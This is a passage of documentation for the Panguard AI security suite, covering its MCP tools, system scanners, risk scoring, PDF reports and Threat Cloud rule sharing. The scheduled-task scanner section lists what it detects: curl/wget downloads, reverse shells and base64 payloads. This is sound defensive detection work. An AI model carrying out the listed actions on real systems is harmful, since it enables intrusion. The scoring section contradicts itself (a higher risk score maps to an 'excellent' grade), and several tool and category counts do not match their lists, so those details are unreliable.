      "mcpServers": {
        "panguard": {
          "command": "npx",
          "args": ["-y", "@panguard-ai/panguard-mcp"]
        }
      }
    }
    ```
  </Tab>
</Tabs>

## What You Can Do

Once configured, interact with Panguard through natural language:

| Example Request                            | MCP Tool Used              |
| ------------------------------------------ | -------------------------- |
| "Scan this machine for vulnerabilities"    | `panguard_scan`            |
| "Check my source code for security issues" | `panguard_scan_code`       |
| "Start real-time protection"               | `panguard_guard_start`     |
| "Stop the Guard engine"                    | `panguard_guard_stop`      |
| "What is the current security status?"     | `panguard_status`          |
| "Show me recent alerts"                    | `panguard_alerts`          |
| "Block IP 203.0.113.50"                    | `panguard_block_ip`        |
| "Generate a PDF security report"           | `panguard_generate_report` |
| "Initialize Panguard configuration"        | `panguard_init`            |
| "Audit this skill directory for security"  | `panguard_audit_skill`     |
| "Deploy full protection on this machine"   | `panguard_deploy`          |

## 12 Available Tools

| Tool                       | Category | Description                                      |
| -------------------------- | -------- | ------------------------------------------------ |
| `panguard_scan`            | Scan     | Run a security health check scan (quick or full) |
| `panguard_scan_code`       | Scan     | SAST scan of source code directory               |
| `panguard_guard_start`     | Guard    | Start the real-time monitoring daemon            |
| `panguard_guard_stop`      | Guard    | Stop the monitoring daemon                       |
| `panguard_status`          | System   | Get status of all Panguard services              |
| `panguard_alerts`          | Guard    | Get recent security alerts with severity filter  |
| `panguard_block_ip`        | Guard    | Manually block an IP address                     |
| `panguard_generate_report` | Report   | Generate a PDF compliance report                 |
| `panguard_init`            | System   | Initialize Panguard configuration                |
| `panguard_audit_skill`     | Scan     | Audit an OpenClaw/AgentSkills directory          |
| `panguard_deploy`          | System   | One-click deploy: scan + guard + report          |

<Card title="Tools Reference" icon="wrench" href="/products/mcp/tools-reference">
  Full parameter reference and examples for all 12 MCP tools.
</Card>

## Architecture

```
AI Assistant (Claude Desktop, Cursor, etc.)
         |
    MCP Protocol (stdio transport)
         |
   Panguard MCP Server (@panguard-ai/panguard-mcp)
         |
   ┌─────┼─────┬──────┬───────┐
   Scan  Guard  Report  System
```

The MCP server runs as a local process, communicating with your AI assistant via stdio. All security operations execute locally on your machine -- no data is sent to external servers through the MCP channel.

## Prerequisites

* Node.js 18+ (for `npx` execution)
* Panguard CLI installed: `npm install -g panguard` or use `npx panguard`


# MCP Tools Reference
Source: https://docs.panguard.ai/products/mcp/tools-reference

Complete parameter reference and usage examples for all 12 Panguard MCP tools.

This page documents every tool exposed by the Panguard MCP server. Each tool includes its description, input schema, and example usage.

***

## panguard\_scan

Run a security health check scan on the local system. Returns risk score (0--100), grade (A--F), and list of security findings.

<ParamField type="string">
  Scan depth: `quick` (\~30 seconds) or `full` (\~60 seconds).
</ParamField>

<ParamField type="string">
  Output language: `en` or `zh-TW`.
</ParamField>

**Example prompt:** "Run a full security scan on this machine in Chinese."

**Example response:** Risk score 72/100 (Grade C), 8 findings (1 critical, 2 high, 3 medium, 2 low).

***

## panguard\_scan\_code

Scan a source code directory for security vulnerabilities (SAST). Detects SQL injection, XSS, hardcoded secrets, command injection, and more.

<ParamField type="string">
  Source code directory to scan. Absolute or relative path.
</ParamField>

<ParamField type="string">
  Output language: `en` or `zh-TW`.
</ParamField>

**Example prompt:** "Check the ./src directory for security vulnerabilities."

***

## panguard\_guard\_start

Start the Panguard Guard real-time threat monitoring daemon.

<ParamField type="string">
  Data directory path. Defaults to `~/.panguard-guard`.
</ParamField>

<ParamField type="string">
  Operating mode: `learning` or `protection`.
</ParamField>

**Example prompt:** "Start real-time protection in learning mode."

***

## panguard\_guard\_stop

Stop the Panguard Guard daemon.

<ParamField type="string">
  Data directory path. Defaults to `~/.panguard-guard`.
</ParamField>

**Example prompt:** "Stop the Guard engine."

***

## panguard\_status

Get the current status of all Panguard services (Guard, Scan, Manager). Returns running state, threat counts, and system information.

<ParamField type="string">
  Data directory path. Defaults to `~/.panguard-guard`.
</ParamField>

**Example prompt:** "What is the current security status of this machine?"

**Returns:** Guard running state, mode, uptime, security score, active threats, events processed.

***

## panguard\_alerts

Get recent security alerts detected by Panguard Guard. Returns the latest threat events with severity and details.

<ParamField type="number">
  Maximum number of alerts to return.
</ParamField>

<ParamField type="string">
  Filter by severity: `critical`, `high`, `medium`, `low`, or `all`.
</ParamField>

<ParamField type="string">
  Data directory path. Defaults to `~/.panguard-guard`.
</ParamField>

**Example prompt:** "Show me the last 5 critical alerts."

***

## panguard\_block\_ip

Manually block an IP address from accessing the system.

<ParamField type="string">
  IP address to block (IPv4 or IPv6).
</ParamField>

<ParamField type="string">
  Block duration. Examples: `1h`, `24h`, `permanent`.
</ParamField>

<ParamField type="string">
  Reason for blocking (stored in the action manifest).
</ParamField>

**Example prompt:** "Block IP 203.0.113.50 for 24 hours because it was port scanning."

***

## panguard\_generate\_report

Generate a PDF compliance report from scan results. Returns the path to the generated PDF.

<ParamField type="string">
  Output PDF file path.
</ParamField>

<ParamField type="string">
  Report language: `en` or `zh-TW`.
</ParamField>

<ParamField type="string">
  Scan depth for the underlying scan: `quick` or `full`.
</ParamField>

**Example prompt:** "Generate a PDF security report in Traditional Chinese."

***

## panguard\_init

Initialize Panguard configuration with defaults (non-interactive mode).

<ParamField type="string">
  Data directory path. Defaults to `~/.panguard-guard`.
</ParamField>

<ParamField type="string">
  Default language: `en` or `zh-TW`.
</ParamField>

<ParamField type="string">
  Initial operating mode: `learning` or `protection`.
</ParamField>

**Example prompt:** "Initialize Panguard with Chinese language defaults."

***

## panguard\_audit\_skill

Audit an OpenClaw/AgentSkills `SKILL.md` directory for security issues. Checks manifest validity, prompt injection, tool poisoning, code vulnerabilities, dependencies, and permissions.

<ParamField type="string">
  Path to skill directory containing `SKILL.md`.
</ParamField>

**Returns:** Risk score (0--100) and detailed findings covering:

* Manifest validity
* Prompt injection detection
* Tool poisoning analysis
* Code vulnerability scanning
* Dependency audit
* Permission review

**Example prompt:** "Audit the skill at ./my-agent-skill for security issues."

***

## panguard\_deploy

Deploy Panguard services: scan for vulnerabilities, start Guard monitoring, and generate an initial report. This is the one-click setup for full protection.

<ParamField type="string">
  Data directory path. Defaults to `~/.panguard-guard`.
</ParamField>

<ParamField type="string">
  Language: `en` or `zh-TW`.
</ParamField>

<ParamField type="string">
  Initial Guard mode: `learning` or `protection`.
</ParamField>

<ParamField type="boolean">
  Whether to generate a PDF report after scanning.
</ParamField>

**Example prompt:** "Deploy full protection on this machine with a PDF report."

**Executes:** `panguard scan` + `panguard guard start` + `panguard scan --output report.pdf`

***

## Tool Availability

All tools are available to everyone. Panguard is 100% open source under the MIT license.

<Tip>
  All tools return structured JSON responses that AI assistants can parse and present in natural
  language. The `isError` field in the response indicates whether the operation succeeded or failed.
</Tip>


# Product Suite Overview
Source: https://docs.panguard.ai/products/overview

Panguard AI ships integrated products that cover the full security lifecycle -- from scanning and detection to response, compliance, and collective intelligence.

Panguard AI is not a single tool. It is an integrated platform of complementary products, each focused on a specific stage of the security lifecycle. Together they form a closed loop: scan your systems, monitor them in real time, notify the right people, generate compliance reports, and share intelligence across your fleet.

## The Product Suite

<CardGroup>
  <Card title="Scan" icon="magnifying-glass" href="/products/scan/overview">
    60-second security audit with 10 scanners. Produces a risk score (0--100), severity-graded
    findings, optional PDF reports, and compliance reports (ISO 27001, SOC 2, TCSA).
  </Card>

  <Card title="Guard" icon="shield" href="/products/guard/overview">
    24/7 real-time monitoring powered by a 4-agent DARE pipeline (Detect, Analyze, Respond, Report).
    10 monitor types, event correlation, automated threat response, and built-in notifications via
    Telegram, Slack, Email, and Webhook.
  </Card>

  <Card title="MCP Server" icon="plug" href="/products/mcp/overview">
    Model Context Protocol server exposing 12 Panguard tools to AI assistants like Claude Desktop
    and Cursor.
  </Card>

  <Card title="Threat Cloud" icon="cloud" href="/products/threat-cloud/overview">
    Collective threat intelligence platform. Every Guard instance contributes anonymized threat
    data, and every instance benefits from the community's detections.
  </Card>

  <Card title="Migrator" icon="arrow-right-arrow-left">
    Convert legacy Sigma + YARA detections into ATR YAML. Community on npm
    (`@panguard-ai/migrator-community@0.1.0` MIT) ships parsers, IR transformer, CLI. Enterprise
    adds 5-framework compliance auto-mapping (EU AI Act, OWASP Agentic, OWASP LLM, NIST AI RMF,
    ISO/IEC 42001), signed evidence packs, ATR upstream contribution pipeline.
  </Card>
</CardGroup>

## How the Products Work Together

The products are designed to complement each other in a layered defense strategy:

```
Scan ──> Guard ──> Threat Cloud
```

| Workflow                 | Products Involved    | Description                                                                                                                               |
| ------------------------ | -------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| **Assess and Protect**   | Scan + Guard         | Run a one-time scan to establish your baseline, then enable Guard for continuous monitoring.                                              |
| **Detect and Notify**    | Guard                | Guard detects threats in real time and delivers plain-language notifications to your preferred channel (Telegram, Slack, Email, Webhook). |
| **Comply and Report**    | Scan                 | Scan findings map directly to compliance controls. Generate audit-ready PDF reports with `panguard scan --output report.pdf`.             |
| **Scale and Centralize** | Guard + Threat Cloud | Deploy Guard agents across your fleet and correlate threats globally via Threat Cloud.                                                    |
| **AI Copilot**           | MCP + Scan + Guard   | Use natural language in Claude or Cursor to run scans, check status, and block IPs via the MCP server.                                    |

## Architecture at a Glance

Panguard is built as a **18-package TypeScript monorepo** managed by pnpm workspaces. All packages share a common `@panguard-ai/core` foundation that provides the rule engine, monitor engine, AI provider abstraction, i18n, and structured logging.

| Layer            | Components   | Responsibility                                   |
| ---------------- | ------------ | ------------------------------------------------ |
| **Endpoint**     | Guard, Scan  | Local detection, scanning, and notifications     |
| **Management**   | Guard        | Endpoint protection and local fleet coordination |
| **Intelligence** | Threat Cloud | Collective IoC sharing                           |
| **Integration**  | MCP          | AI assistant integration                         |

<Info>
  Each product can run independently. You do not need to deploy the full suite. Start with `panguard
      scan` and add products as your needs grow.
</Info>


# Panguard Scan
Source: https://docs.panguard.ai/products/scan/overview

60-second security health check with 10 scanners, risk scoring, and PDF report generation.

Panguard Scan is a fast, comprehensive security auditing tool that assesses your system's security posture in under 60 seconds. It runs 10 specialized scanners, produces a 0--100 risk score with an A--F letter grade, and optionally generates a professional PDF report.

## Quick Start

```bash theme={null}
# Quick scan (~30 seconds)
panguard scan --quick

# Full scan (~60 seconds)
panguard scan

# Generate PDF report
panguard scan --output report.pdf

# Traditional Chinese output
panguard scan --lang zh-TW
```

## Quick Mode vs Full Mode

| Capability                 | Quick Mode (`--quick`) | Full Mode (default) |
| -------------------------- | ---------------------- | ------------------- |
| Duration                   | \~30 seconds           | \~60 seconds        |
| OS detection               | Yes                    | Yes                 |
| Network interfaces         | Yes                    | Yes                 |
| Open ports                 | Yes                    | Yes                 |
| Running services           | Yes                    | Yes                 |
| Password policy            | Yes                    | Yes                 |
| Firewall status            | Yes                    | Yes                 |
| Security tool detection    | Yes                    | Yes                 |
| SSL certificate validation | --                     | Yes                 |
| Scheduled task audit       | --                     | Yes                 |
| Shared folder security     | --                     | Yes                 |
| Risk scoring               | Yes                    | Yes                 |
| PDF report                 | With `--output`        | With `--output`     |

## Severity Levels

Every finding is classified into one of five severity levels:

| Level        | Meaning                                | Action Timeline     |
| ------------ | -------------------------------------- | ------------------- |
| **CRITICAL** | Immediate compromise risk              | Fix immediately     |
| **HIGH**     | Significant security risk              | Fix within 24 hours |
| **MEDIUM**   | Moderate risk, improvement recommended | Fix within one week |
| **LOW**      | Low risk, best-practice recommendation | Fix when convenient |
| **INFO**     | Informational finding                  | Acknowledge         |

## Product Combinations

### Scan + Guard

Use Scan to establish a baseline, then activate Guard for continuous monitoring:

```bash theme={null}
# 1. Run initial scan
panguard scan --output baseline.pdf

# 2. Fix issues found

# 3. Start continuous protection
panguard guard start

# 4. Re-scan periodically to track improvement
panguard scan --output weekly-check.pdf
```

### Scan + Report

Scan findings feed directly into compliance report generation:

```bash theme={null}
panguard scan --output scan-result.pdf
```

## CLI Options

```
panguard scan [options]

Options:
  --quick              Quick mode (~30 seconds)
  --output <path>      PDF report output path
  --lang <en|zh-TW>    Language (default: en)
  --verbose            Verbose output
  --json               Pure JSON output (for AI agents)
  --target <host>      Remote target (IP or domain)
```

<CardGroup>
  <Card title="Scanners" icon="list-check" href="/products/scan/scanners">
    All 10 scanner types in detail.
  </Card>

  <Card title="Risk Scoring" icon="chart-bar" href="/products/scan/risk-scoring">
    How the 0-100 risk score is calculated.
  </Card>

  <Card title="PDF Reports" icon="file-pdf" href="/products/scan/pdf-reports">
    PDF report structure and customization.
  </Card>
</CardGroup>


# PDF Reports
Source: https://docs.panguard.ai/products/scan/pdf-reports

Structure, sections, and customization options for Panguard Scan PDF reports.

Panguard Scan can generate professional PDF reports suitable for stakeholder review, compliance documentation, and audit evidence.

## Generating a Report

```bash theme={null}
# English report (default)
panguard scan --output report.pdf

# Traditional Chinese report
panguard scan --output report.pdf --lang zh-TW

# Quick scan with report
panguard scan --quick --output quick-report.pdf
```

## Report Sections

Every PDF report contains five sections:

### 1. Cover Page

| Element            | Description                                  |
| ------------------ | -------------------------------------------- |
| Organization name  | Configurable via `--org` flag or config file |
| Scan date and time | UTC timestamp of when the scan was executed  |
| Panguard version   | CLI version used to generate the report      |
| Brand logo         | Panguard AI branding                         |

### 2. Executive Summary

A one-page overview designed for non-technical stakeholders:

* **Risk Score**: The 0--100 safety score with letter grade
* **Finding Counts**: Breakdown by severity (Critical / High / Medium / Low / Info)
* **Key Metrics**: Number of open ports, running services, security tools detected
* **Overall Assessment**: Plain-language summary of system security posture

### 3. Findings Detail Table

Each finding is presented as a row with the following columns:

| Column          | Description                                                  |
| --------------- | ------------------------------------------------------------ |
| **#**           | Sequential finding number                                    |
| **Severity**    | CRITICAL, HIGH, MEDIUM, LOW, or INFO with color coding       |
| **Title**       | Short description of the finding                             |
| **Category**    | Scanner category (Network, Authentication, Encryption, etc.) |
| **Description** | Detailed explanation of the risk                             |
| **Location**    | Affected resource (port, file path, service name)            |

### 4. Remediation Recommendations

For each finding, the report provides:

* Step-by-step fix instructions
* Platform-specific commands (Linux, macOS, Windows)
* Links to relevant documentation
* Priority ranking based on severity and effort

### 5. Compliance Mapping

Each finding is mapped to applicable compliance framework controls:

| Framework   | Control Reference                                         |
| ----------- | --------------------------------------------------------- |
| ISO 27001   | e.g., A.12.6.1 -- Management of technical vulnerabilities |
| SOC 2       | e.g., CC6.1 -- Logical and physical access controls       |
| Taiwan TCSA | e.g., Section 4 -- Access control                         |

## Bilingual Support

Reports support two languages. The language selection affects all text in the report including section headers, finding descriptions, and remediation steps.

| Flag           | Language            |
| -------------- | ------------------- |
| `--lang en`    | English (default)   |
| `--lang zh-TW` | Traditional Chinese |

## Remote Scan Reports

Reports can also be generated from remote target scans:

```bash theme={null}
panguard scan --target 203.0.113.50 --output remote-report.pdf
```

Remote scan reports include the target hostname/IP and note which scanners were available remotely versus those requiring local access.

## Integration with Compliance Reports

Scan PDF reports can also serve as input evidence for compliance reports generated via the `panguard report` CLI command (a feature of Scan):

```bash theme={null}
# Generate a scan report
panguard scan --output scan-findings.pdf

# Use findings as input for a compliance report
panguard report generate --framework iso27001 --format pdf
```

<Info>
  PDF generation uses server-side rendering and does not require any external PDF tools or browser
  dependencies.
</Info>


# Risk Scoring
Source: https://docs.panguard.ai/products/scan/risk-scoring

How Panguard Scan calculates the 0-100 risk score and A-F letter grade.

Every Panguard Scan produces a single risk score from 0 to 100 and an associated letter grade from A to F. This page explains how the score is calculated and what each grade means.

## Score Display

```
Score: 62/100 [████████████░░░░░░░░] Grade: C
```

The score represents a **risk score**: higher means more risk. It is the sum of severity-weighted findings (adjusted by context), clamped to the 0--100 range.

## Grade Thresholds

| Grade | Score Range | Interpretation                                                  |
| ----- | ----------- | --------------------------------------------------------------- |
| **A** | 90 -- 100   | Excellent. Minimal risk. All critical and high issues resolved. |
| **B** | 75 -- 89    | Good. A few medium-severity items remain.                       |
| **C** | 60 -- 74    | Fair. Multiple findings need attention.                         |
| **D** | 40 -- 59    | Poor. Significant security gaps present.                        |
| **F** | 0 -- 39     | Critical. Immediate remediation required.                       |

## Scoring Factors

The risk score is derived from the severity and quantity of findings across all scanners. Each finding contributes penalty points based on its severity:

| Severity | Points per Finding |
| -------- | ------------------ |
| CRITICAL | 25                 |
| HIGH     | 15                 |
| MEDIUM   | 5                  |
| LOW      | 1                  |
| INFO     | 0                  |

Points are summed and the total becomes the raw risk score (higher = more risk). The score is clamped to the 0--100 range.

### Deduplication

When multiple findings share the same ID (e.g., the same rule triggered on different inputs), only the highest-severity instance is counted. This prevents score inflation from duplicate detections.

### Context Multiplier

The raw score is adjusted by a **context multiplier** that reflects environmental signals:

| Multiplier | Meaning                            | Effect               |
| ---------- | ---------------------------------- | -------------------- |
| > 1.0      | Malicious context signals present  | Increases risk score |
| 1.0        | Neutral (default)                  | No adjustment        |
| \< 1.0     | Legitimate context signals present | Reduces risk score   |

The final score is `min(100, round(rawScore * contextMultiplier))`.

### Example Calculation

| Finding               | Severity  | Points |
| --------------------- | --------- | ------ |
| SSH on 0.0.0.0        | HIGH      | 15     |
| Weak password policy  | MEDIUM    | 5      |
| Expired SSL cert      | CRITICAL  | 25     |
| No firewall           | HIGH      | 15     |
| Outdated kernel (CVE) | MEDIUM    | 5      |
|                       | **Total** | **65** |

With a neutral context multiplier (1.0), the risk score is **65** (Grade: **C**).

### Risk Level Overrides

The presence of a CRITICAL finding forces at least a HIGH risk level, regardless of the numeric score. If the context multiplier is very low (\< 0.6), the override is weakened to MEDIUM instead of HIGH.

## Score Categories

Beyond the single number, the score is contextualized across 10 categories:

| Category            | What It Measures                                   |
| ------------------- | -------------------------------------------------- |
| **System**          | OS patch level, kernel version, architecture       |
| **Network**         | Open ports, binding addresses, firewall status     |
| **Authentication**  | Password policy strength, account lockout          |
| **Encryption**      | SSL/TLS certificates, cipher suites, key strength  |
| **Access Control**  | Shared folders, file permissions, anonymous access |
| **Services**        | Running services, unnecessary daemons              |
| **Scheduled Tasks** | Cron jobs, suspicious scripts, persistence vectors |
| **Security Tools**  | Presence of AV, IDS, firewall, audit daemon        |

## Improving Your Score

<Steps>
  <Step title="Fix CRITICAL findings first">
    Each critical finding costs 25 points. Resolving just one can move your grade up a full letter.
  </Step>

  <Step title="Address HIGH findings">
    High-severity items are the next priority at 15 points each.
  </Step>

  <Step title="Review MEDIUM findings">
    These are typically configuration improvements that accumulate.
  </Step>

  <Step title="Re-scan to verify">
    Run `panguard scan` again after making changes to confirm your new score.
  </Step>
</Steps>

<Tip>
  Run `panguard scan --json` to get machine-readable output that includes per-finding scores, making
  it easy to integrate into CI/CD pipelines.
</Tip>


# Scanner Types
Source: https://docs.panguard.ai/products/scan/scanners

Detailed reference for all 10 scanner types included in Panguard Scan.

Panguard Scan includes 10 specialized scanners, each targeting a different attack surface. All scanners run concurrently for maximum speed. Quick mode runs the first 7; full mode adds SSL, Scheduled Tasks, and Shared Folders.

## Scanner Reference

### 1. Discovery Scanner

Collects foundational system information used by all other scanners.

| Field              | Details                                                  |
| ------------------ | -------------------------------------------------------- |
| **Availability**   | Quick + Full                                             |
| **Data collected** | OS distro, version, kernel, architecture, hostname       |
| **Output**         | `SystemDiscovery` object consumed by downstream scanners |

### 2. CVE Checker

Checks the system's operating system and installed packages against known CVE databases.

| Field                | Details                                               |
| -------------------- | ----------------------------------------------------- |
| **Availability**     | Quick + Full                                          |
| **Detection method** | OS version fingerprinting, package version comparison |
| **Severity mapping** | CVSS score mapped to CRITICAL / HIGH / MEDIUM / LOW   |
| **Output**           | List of matched CVEs with remediation advice          |

### 3. SAST (Static Application Security Testing)

Scans source code directories for security vulnerabilities.

| Field            | Details                                                                         |
| ---------------- | ------------------------------------------------------------------------------- |
| **Availability** | Via `panguard scan code` subcommand                                             |
| **Languages**    | JavaScript, TypeScript, Python, PHP, Ruby, Java, Go                             |
| **Detections**   | SQL injection, XSS, command injection, path traversal, insecure deserialization |
| **Output**       | Findings with file path, line number, and remediation                           |

```bash theme={null}
panguard scan code --dir ./my-project
```

### 4. Secrets Checker

Scans files for hardcoded secrets, API keys, tokens, and credentials.

| Field                        | Details                                                                                         |
| ---------------------------- | ----------------------------------------------------------------------------------------------- |
| **Availability**             | Via `panguard scan code` subcommand                                                             |
| **Detection patterns**       | AWS keys, GitHub tokens, private keys, database URLs, JWT secrets, generic high-entropy strings |
| **False-positive reduction** | Ignores test files, examples, and known placeholder values                                      |

### 5. Password Policy Auditor

Evaluates the system's password policy configuration.

| Field            | Details                                                                                     |
| ---------------- | ------------------------------------------------------------------------------------------- |
| **Availability** | Quick + Full                                                                                |
| **Checks**       | Minimum password length, complexity requirements, expiration policy, account lockout policy |
| **Platforms**    | Linux (PAM), macOS (pwpolicy), Windows (net accounts)                                       |

### 6. Scheduled Tasks Scanner

Audits cron jobs and scheduled tasks for suspicious entries.

| Field            | Details                                                                                                                         |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------- |
| **Availability** | Full mode only                                                                                                                  |
| **Detections**   | Download commands (curl, wget), reverse shells, base64-encoded payloads, unusual execution paths, non-standard scheduling times |
| **Sources**      | `/etc/crontab`, user crontabs, `/etc/cron.d/`, systemd timers (Linux); launchd plists (macOS); Task Scheduler (Windows)         |

### 7. Open Ports Scanner

Identifies all listening network ports and flags high-risk services.

| Field                | Details                                                                                                               |
| -------------------- | --------------------------------------------------------------------------------------------------------------------- |
| **Availability**     | Quick + Full                                                                                                          |
| **Detection method** | `netstat` / `ss` / `lsof` output parsing                                                                              |
| **High-risk ports**  | SSH (22), FTP (21), Telnet (23), MySQL (3306), PostgreSQL (5432), Redis (6379), MongoDB (27017), Elasticsearch (9200) |
| **Risk factors**     | Binding to 0.0.0.0, running without TLS, default port for sensitive services                                          |

### 8. Shared Folders Scanner

Checks file-sharing configurations for overly permissive access.

| Field            | Details                                                                                             |
| ---------------- | --------------------------------------------------------------------------------------------------- |
| **Availability** | Full mode only                                                                                      |
| **Checks**       | SMB/CIFS shares, NFS exports, public folder permissions                                             |
| **Detections**   | Anonymous access enabled, world-readable sensitive directories, guest access without authentication |

### 9. SSL/TLS Certificate Checker

Validates SSL/TLS certificates found on the system.

| Field            | Details                                                                                                                                                                   |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Availability** | Full mode only                                                                                                                                                            |
| **Checks**       | Expiration date, self-signed status, key strength (minimum 2048-bit RSA or 256-bit ECDSA), certificate chain completeness, deprecated protocols (SSLv3, TLS 1.0, TLS 1.1) |
| **Sources**      | System certificate stores, common certificate paths, running HTTPS services                                                                                               |

### 10. Compliance Mapping

Maps all findings from other scanners to compliance framework controls.

| Field            | Details                                                              |
| ---------------- | -------------------------------------------------------------------- |
| **Availability** | Quick + Full                                                         |
| **Frameworks**   | ISO 27001, SOC 2, Taiwan Cyber Security Act (TCSA)                   |
| **Output**       | Each finding annotated with applicable compliance control references |

## Scanner Execution Order

All scanners run concurrently using `Promise.all` for maximum speed. The Discovery scanner's output is available to all other scanners as shared context.

```
Discovery ──┐
CVE ────────┤
Ports ──────┤
Password ───┤  ──> Aggregate ──> Risk Score ──> Report
Firewall ───┤
Security ───┤
SSL ────────┤ (full only)
Tasks ──────┤ (full only)
Shares ─────┘ (full only)
Compliance ─── (post-processing)
```


# Connecting to Threat Cloud
Source: https://docs.panguard.ai/products/threat-cloud/deployment

How Panguard agents connect to Threat Cloud for collective threat intelligence.

Every Panguard agent connects to the public Threat Cloud automatically. No configuration, no API key, no account required.

## Default Connection

When you start Guard, it connects to `tc.panguard.ai` automatically:

```bash theme={null}
panguard guard start --dashboard
```

That's it. Your agent is now part of the collective intelligence network.

## What Happens Automatically

| Interval                | Action                                                                |
| ----------------------- | --------------------------------------------------------------------- |
| **On startup**          | Load bundled ATR rules from local install                             |
| **Every 1 hour**        | Sync with Threat Cloud: download new rules, upload anonymized threats |
| **On threat detection** | Submit anonymized event data to Threat Cloud                          |
| **On skill audit**      | Report safe/unsafe skill fingerprints                                 |

## Custom Endpoint

To point your agent at a different Threat Cloud instance:

```bash theme={null}
panguard guard start --threat-cloud https://your-server:8080
```

Or set the environment variable:

```bash theme={null}
export TC_ENDPOINT=https://your-server:8080
panguard guard start
```

Or in `~/.panguard/config.json`:

```json theme={null}
{
  "threatCloudEndpoint": "https://your-server:8080",
  "threatCloudApiKey": "your-api-key"
}
```

## Offline Mode

Guard works fully offline. If Threat Cloud is unreachable:

* Bundled ATR rules (768) continue to function
* Local AI (Ollama) handles analysis
* Events queue locally and sync when connectivity returns
* Protection never stops

```bash theme={null}
# Explicitly disable Threat Cloud sync
panguard guard start --no-cloud
```

## Private Instances

For organizations requiring isolated infrastructure or data sovereignty compliance, private Threat Cloud instances are available as a managed service.

<Card title="Contact for Private Instance" icon="envelope" href="https://panguard.ai/contact">
  Organizations can deploy dedicated Threat Cloud infrastructure with custom feeds, retention
  policies, and network isolation.
</Card>

## Verify Connection

Check your agent's Threat Cloud status:

```bash theme={null}
panguard status --json
```

```json theme={null}
{
  "threatCloud": {
    "connected": true,
    "endpoint": "https://tc.panguard.ai/api",
    "lastSync": "2026-03-13T08:00:00Z",
    "rulesReceived": 247,
    "threatsSubmitted": 12
  }
}
```

Or view it in the dashboard at `http://127.0.0.1:9100` (Threat Cloud page).


# Threat Cloud
Source: https://docs.panguard.ai/products/threat-cloud/overview

Community-driven ATR rule consensus platform. Scanners propose threat patterns, the community confirms them, and confirmed rules are distributed back to all scanners.

Panguard Threat Cloud is a community-driven threat intelligence platform built around ATR (Agent Threat Rules) proposals and consensus. When any scanner (CLI, Website, or Guard) detects a suspicious pattern in an MCP skill, it submits a proposal to Threat Cloud. Other scanners that encounter the same pattern confirm it. Once a proposal reaches 3 or more confirmations, it is automatically promoted to a confirmed rule and distributed to all connected scanners.

## The Flywheel

The core loop that makes Threat Cloud increasingly effective over time:

```
Scan skill ──> Findings ──> TC proposal ──> Community consensus ──> Confirmed rule ──> Distributed to all scanners
                                                    ^                                           |
                                                    └───────────────────────────────────────────┘
```

1. **Scan** -- Any scanner (CLI `panguard audit skill`, Website, or Guard skill watcher) scans a skill
2. **Propose** -- High-severity findings generate an ATR proposal with a pattern hash
3. **Confirm** -- Other scanners encountering the same pattern hash increment the confirmation count
4. **Promote** -- At 3+ confirmations, the proposal is auto-promoted to a confirmed rule
5. **Distribute** -- Confirmed rules are served via `GET /api/atr-rules` to all scanners
6. **Strengthen** -- Scanners load confirmed rules, improving detection, which generates more proposals

Each cycle through the flywheel adds detection capability to the entire network.

## ATR Proposals

ATR proposals are the primary mechanism for community threat intelligence in Threat Cloud.

### Pattern Hash

Every proposal is identified by a **pattern hash** -- a deterministic identifier computed from the scan findings:

* Format: `scan:{skillName}:{findingSummary}` hashed with SHA-256, truncated to 16 hex characters
* The `scan:` prefix ensures CLI, Website, and Guard all produce identical hashes for the same threat pattern
* Hash computation is handled by `@panguard-ai/scan-core` so all scanner implementations agree

### Proposal Lifecycle

| Stage         | Description                                                  |
| ------------- | ------------------------------------------------------------ |
| **Pending**   | New proposal submitted, awaiting community confirmation      |
| **Confirmed** | 3+ independent scanners have confirmed the same pattern hash |
| **Promoted**  | Confirmed proposal converted to a distributable ATR rule     |
| **Rejected**  | LLM reviewer flagged the proposal as a false positive        |

### Submitting a Proposal

Proposals are submitted automatically when a scanner detects high-severity findings. The endpoint is `POST /api/atr-proposals`. Each submission includes the pattern hash, the proposed rule content, and the LLM model that generated the self-review verdict.

If the pattern hash already exists, the submission counts as a confirmation rather than a new proposal.

## Community Consensus

Threat Cloud uses a simple, transparent consensus mechanism:

* Each unique scanner instance (identified by an anonymous client ID) can confirm a proposal once
* When a proposal reaches **3 or more confirmations**, it is automatically promoted to `confirmed` status
* No manual review is required for community consensus -- the process is fully automated
* The `promoteConfirmedProposals()` function handles promotion on each sync cycle

This means a threat pattern must be independently detected by at least 3 separate scanners before it becomes a confirmed rule. This reduces false positives while keeping the pipeline fully automated.

## LLM Reviewer

Threat Cloud includes an automated LLM reviewer (Claude Sonnet 4) that evaluates ATR proposals for production readiness.

The LLM reviewer assesses:

| Criterion                    | What It Checks                                                         |
| ---------------------------- | ---------------------------------------------------------------------- |
| **False positive risk**      | Whether the pattern would flag legitimate skills (low / medium / high) |
| **Coverage score**           | How well the rule covers the intended threat category                  |
| **Detection specificity**    | Whether the rule is precise enough to avoid noise                      |
| **Response proportionality** | Whether the suggested severity matches the actual risk                 |
| **YAML validity**            | Whether the proposed rule is well-formed                               |

LLM review runs automatically on new proposals via the `POST /api/analyze-skills` endpoint. A proposal can be promoted through either path:

* **Community consensus alone**: 3+ confirmations, even without LLM review
* **LLM approved + community confirmed**: Highest confidence promotion

If the LLM reviewer explicitly rejects a proposal, community consensus cannot override the rejection.

## Rule Distribution

Confirmed ATR rules are distributed to all scanners via a single endpoint:

```
GET /api/atr-rules
GET /api/atr-rules?since=2025-01-01T00:00:00Z
```

The `?since=` parameter allows incremental fetching -- scanners only download rules confirmed after their last sync. Guard agents sync automatically every hour. CLI and Website fetch rules on each scan invocation.

## IoC Feeds

In addition to ATR rules, Threat Cloud also distributes traditional IoC feeds:

| Endpoint                          | Format     | Description                            |
| --------------------------------- | ---------- | -------------------------------------- |
| `GET /api/feeds/ip-blocklist`     | text/plain | Known malicious IPs (one per line)     |
| `GET /api/feeds/domain-blocklist` | text/plain | Known malicious domains (one per line) |
| `GET /api/skill-blacklist`        | JSON       | Community-reported unsafe skills       |

Both feed endpoints accept an optional `?minReputation=` parameter to filter by confidence level.

## What Gets Synced

Every hour, your Guard agent exchanges data with Threat Cloud:

| Direction    | Data                | Description                                                  |
| ------------ | ------------------- | ------------------------------------------------------------ |
| **Upload**   | ATR proposals       | Pattern hash + proposed rule content for new threat patterns |
| **Upload**   | Scan events         | Anonymized scan results from CLI, Website, or Guard          |
| **Upload**   | Skill threats       | Anonymized skill audit findings                              |
